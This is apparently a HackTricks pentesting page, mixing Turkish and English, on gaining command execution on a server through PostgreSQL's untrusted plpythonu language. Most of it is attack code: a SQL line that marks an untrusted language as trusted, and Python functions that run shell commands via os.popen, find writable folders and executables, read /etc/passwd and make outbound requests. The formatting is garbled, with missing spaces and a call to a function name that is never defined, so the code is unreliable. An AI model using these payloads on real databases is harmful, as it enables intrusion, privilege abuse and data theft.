Erişim sağladığınız PostgreSQL veritabanında, kötü niyetli kodları çalıştırabileceğiniz farklı betik dilleri bulunabilir.
Onları çalıştırabilirsiniz:
\dL *SELECT lanname,lanpltrusted,lanacl FROM pg_language;
PostgreSQL'de yükleyebileceğiniz çoğu betik dili 2 çeşide sahiptir: güvenilir ve güvensiz. Güvensiz olanlar "u" ile biten bir isme sahip olacak ve kodu yürütmenize ve diğer ilginç işlevleri kullanmanıza izin verecek versiyon olacak. İlgili olan diller şunlardır:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (diğer güvensiz versiyonları kullanan herhangi bir programlama dili)
Eğer PostgreSQL tarafından yüklendiği halde ilginç bir dilin güvenilir olmadığını (lanpltrustedfalse ise) tespit ederseniz, PostgreSQL tarafından herhangi bir kısıtlama uygulanmayacak şekilde güvenilir hale getirmek için aşağıdaki satırı deneyebilirsiniz:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';# Tocheck your permissions over the table pg_languageSELECT*FROM information_schema.table_privileges WHERE table_name ='pg_language';
Eğer bir dil görmüyorsanız, onu yüklemeyi deneyebilirsiniz (süper yönetici olmanız gerekmektedir):
PostgreSQL supports the execution of Python code through the plpythonu and plpython3u languages. These languages allow you to execute arbitrary Python code within the database.
To achieve remote code execution (RCE) using plpythonu or plpython3u, you can follow these steps:
Identify a vulnerable SQL injection point in the application.
Use the SQL injection to inject a malicious payload that will execute Python code.
Craft a SQL query that will trigger the execution of the injected payload.
Execute the SQL query to execute the injected Python code and achieve RCE.
Here is an example of injecting and executing Python code using plpythonu:
Again, replace "command" with the actual command you want to execute.
Keep in mind that the plpythonu and plpython3u languages may not be installed or enabled by default. You may need to install and enable them before being able to use them for RCE.
Remember to always use these techniques responsibly and with proper authorization. Unauthorized access to systems or networks is illegal and unethical.
CREATE OR REPLACEFUNCTIONexec (cmd text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.popen(cmd).read()#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})$$LANGUAGE'plpythonu';SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACEFUNCTIONget_user (pkg text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.getlogin()$$LANGUAGE'plpythonu';SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACEFUNCTIONlsdir (dir text)RETURNSVARCHAR(65535) stableAS $$import jsonfrom os import walkfiles =next(walk(dir), (None, None, []))return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]$$LANGUAGE'plpythonu';SELECT lsdir("/"); #List dir
CREATE OR REPLACEFUNCTIONfindw (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):writables = []def find_writable(path):ifnot os.path.isdir(path):returnif os.access(path, os.W_OK):writables.append(path)ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_writable(os.path.join(path, item))find_writable(path)return writablesreturn", ".join(my_find(dir))$$LANGUAGE'plpythonu';SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACEFUNCTIONfind_file (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in os.path.basename(i):b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_file("psql"); #Find a file
CREATE OR REPLACEFUNCTIONfindx (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find(dir)b = []for i in a:b.append(os.path.basename(i))return", ".join(b)$$LANGUAGE'plpythonu';SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACEFUNCTIONfind_exe (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in i:b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_exe("psql"); #Find executableby susbstring
CREATE OR REPLACEFUNCTIONread (pathtext)RETURNSVARCHAR(65535) stableAS $$import base64encoded_string= base64.b64encode(open(path).read())return encoded_string.decode('utf-8')returnopen(path).read()$$LANGUAGE'plpythonu';selectread('/etc/passwd'); #Read a filein b64
CREATE OR REPLACEFUNCTIONget_perms (pathtext)RETURNSVARCHAR(65535) stableAS $$import osstatus= os.stat(path)perms = oct(status.st_mode)[-3:]returnstr(perms)$$LANGUAGE'plpythonu';select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACEFUNCTIONreq2 (urltext)RETURNSVARCHAR(65535) stableAS $$import urllibr = urllib.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req2('https://google.com'); #Request using python2CREATE OR REPLACEFUNCTIONreq3 (urltext)RETURNSVARCHAR(65535) stableAS $$from urllib import requestr = request.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req3('https://google.com'); #Request using python3
Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!